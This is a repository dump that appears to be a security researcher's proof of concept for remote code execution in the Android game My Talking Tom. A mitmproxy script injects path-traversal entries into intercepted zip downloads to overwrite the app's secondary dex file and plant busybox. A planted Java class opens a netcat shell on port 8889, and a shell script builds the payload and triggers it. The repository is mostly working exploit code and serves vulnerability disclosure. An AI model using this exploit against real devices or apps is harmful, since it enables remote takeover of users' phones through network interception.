├── .gitignore ├── README.md ├── busybox ├── images ├── cat_pictures.png ├── sheen.jpg ├── talking_tom_crash.png └── talkingtom.png ├── original_files ├── com.outfit7.mytalkingtomfree-1.apk ├── com.outfit7.mytalkingtomfree-1.apk.classes2.dex └── com.outfit7.mytalkingtomfree-1.apk.classes2.zip ├── secondary_dex_remote_code.py ├── sources ├── VungleService.java └── c.java └── trigger_vulnerability.sh /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | apps/ 3 | payload.zip 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # A Pattern for Remote Code Execution using Arbitrary File Writes and MultiDex Applications 2 | 3 | Read the full details of this vulnerability [here](https://www.nowsecure.com/blog/2015/06/15/a-pattern-for-remote-code-execution-using-arbitrary-file-writes-and-multidex-applications/) 4 | -------------------------------------------------------------------------------- /busybox: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nowsecure/android-rce-multidex-and-zip-files/817dd61154ca6547b04adfa7673f1319ed781dfa/busybox -------------------------------------------------------------------------------- /images/cat_pictures.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nowsecure/android-rce-multidex-and-zip-files/817dd61154ca6547b04adfa7673f1319ed781dfa/images/cat_pictures.png -------------------------------------------------------------------------------- /images/sheen.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nowsecure/android-rce-multidex-and-zip-files/817dd61154ca6547b04adfa7673f1319ed781dfa/images/sheen.jpg -------------------------------------------------------------------------------- /images/talking_tom_crash.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nowsecure/android-rce-multidex-and-zip-files/817dd61154ca6547b04adfa7673f1319ed781dfa/images/talking_tom_crash.png -------------------------------------------------------------------------------- /images/talkingtom.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nowsecure/android-rce-multidex-and-zip-files/817dd61154ca6547b04adfa7673f1319ed781dfa/images/talkingtom.png -------------------------------------------------------------------------------- /original_files/com.outfit7.mytalkingtomfree-1.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nowsecure/android-rce-multidex-and-zip-files/817dd61154ca6547b04adfa7673f1319ed781dfa/original_files/com.outfit7.mytalkingtomfree-1.apk -------------------------------------------------------------------------------- /original_files/com.outfit7.mytalkingtomfree-1.apk.classes2.dex: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nowsecure/android-rce-multidex-and-zip-files/817dd61154ca6547b04adfa7673f1319ed781dfa/original_files/com.outfit7.mytalkingtomfree-1.apk.classes2.dex -------------------------------------------------------------------------------- /original_files/com.outfit7.mytalkingtomfree-1.apk.classes2.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nowsecure/android-rce-multidex-and-zip-files/817dd61154ca6547b04adfa7673f1319ed781dfa/original_files/com.outfit7.mytalkingtomfree-1.apk.classes2.zip -------------------------------------------------------------------------------- /secondary_dex_remote_code.py: -------------------------------------------------------------------------------- 1 | import os 2 | from libmproxy import proxy, flow 3 | from netlib import odict 4 | import shutil 5 | import zipfile 6 | import urllib2 7 | import tempfile 8 | 9 | #Test 10 | # curl -x http://localhost:8080 http://cds.g8j8b9g6.hwcdn.net/bundles/51508704e2903eb17f000006-2.zip > tmp.zip 11 | 12 | def start(context, argv): 13 | global payload 14 | global busybox 15 | with open('payload.zip', 'r') as f: 16 | payload = f.read() 17 | with open('busybox', 'r') as f: 18 | busybox = f.read() 19 | context.log("start") 20 | 21 | def response(context, flow): 22 | content_type_headers = flow.response.headers["content-type"] 23 | if len(content_type_headers) != 1: return 24 | content_type = content_type_headers[0] 25 | if (content_type.startswith("application/x-zip-compressed") or content_type.startswith("application/zip") or (content_type.startswith("application/octet-stream")) and flow.response.content[0:2] == "PK"): 26 | context.log("Found zip") 27 | with tempfile.SpooledTemporaryFile() as tmp: 28 | tmp.write(flow.response.content) 29 | # Reset file pointer 30 | tmp.seek(0) 31 | injectIntoZip(tmp, "../../../../../../../../../../../../../../../../../../../../../../data/data/com.outfit7.mytalkingtomfree/files/busybox", busybox) 32 | 33 | tmp.seek(0) 34 | injectIntoZip(tmp, "../../../../../../../../../../../../../../../../../../../../../../data/data/com.outfit7.mytalkingtomfree/code_cache/secondary-dexes/com.outfit7.mytalkingtomfree-1.apk.classes2.zip", payload) 35 | tmp.seek(0) 36 | flow.response.content = tmp.read() 37 | 38 | def create_dir_if_not_exists(f): 39 | if not os.path.exists(f): 40 | os.makedirs(f) 41 | 42 | def injectIntoZip(zipFile, zipEntryName, zipEntryData): 43 | zf = zipfile.ZipFile(zipFile, "a") 44 | info = zipfile.ZipInfo(zipEntryName) 45 | info.external_attr = 660 << 16L #File Permissions 46 | zf.writestr(info, zipEntryData) 47 | 48 | #attempt to write a symlink 49 | # a = zipfile.ZipInfo() 50 | # a.filename = "../../../../../../data/linkHax" 51 | # a.create_system = 3 52 | # a.external_attr = 0xA1ED0000L 53 | # zf.writestr(a, "/data/local/tmp/yoloswag") 54 | 55 | zf.close() 56 | 57 | def sha1OfFile(filepath): 58 | import hashlib 59 | with open(filepath, 'rb') as f: 60 | return hashlib.sha1(f.read()).hexdigest() 61 | 62 | -------------------------------------------------------------------------------- /sources/VungleService.java: -------------------------------------------------------------------------------- 1 | package com.vungle.publisher; 2 | import android.app.Service; 3 | import android.content.Intent; 4 | import android.os.IBinder; 5 | 6 | public class VungleService extends Service { 7 | 8 | public VungleService() { 9 | } 10 | 11 | @Override 12 | public IBinder onBind(Intent intent) { 13 | return null; 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /sources/c.java: -------------------------------------------------------------------------------- 1 | package com.outfit7.talkingfriends.clips; 2 | import android.util.Log; 3 | 4 | public class c { 5 | public c(){ 6 | Log.d("WINNER", "Game Over"); 7 | 8 | try { 9 | Runtime.getRuntime().exec("chmod 755 /data/data/com.outfit7.mytalkingtomfree/files/busybox"); 10 | Runtime.getRuntime().exec("/data/data/com.outfit7.mytalkingtomfree/files/busybox nc -ll -p 8889 -e /system/bin/sh"); 11 | }catch(Exception e){ 12 | e.printStackTrace(); 13 | } 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /trigger_vulnerability.sh: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | 3 | ANDROID_HOME=/Users/fuzion24/bin/android_sdk_home/ 4 | TMP_DIR=`mktemp -d 2>/dev/null || mktemp -d -t 'mytmpdir'` 5 | CLASS_NAMES=`ls sources/*.java` 6 | 7 | if [ ! -e payload.zip ] 8 | then 9 | javac -Xlint -classpath $ANDROID_HOME/platforms/android-7/android.jar $CLASS_NAMES -d $TMP_DIR && \ 10 | dx --dex --no-strict --output=$TMP_DIR/classes.dex $TMP_DIR/ && \ 11 | zip -j payload.zip $TMP_DIR/classes.dex # && \ 12 | #adb wait-for-device push $TMP_DIR/$CLASS_NAME.jar /data/local/tmp/ && \ 13 | #adb shell mkdir /data/local/tmp/dalvik-cache && \ 14 | #adb shell ANDROID_DATA=/data/local/tmp dalvikvm -cp /data/local/tmp/$CLASS_NAME.jar $CLASS_NAME 15 | 16 | rm -r ${TMP_DIR} 17 | fi 18 | 19 | adb shell pm clear com.outfit7.mytalkingtomfree && 20 | adb shell am start -n com.outfit7.mytalkingtomfree/com.outfit7.mytalkingtom.MyTalkingTomNativeActivity 21 | 22 | sleep 15 23 | #rm payload.zip 24 | --------------------------------------------------------------------------------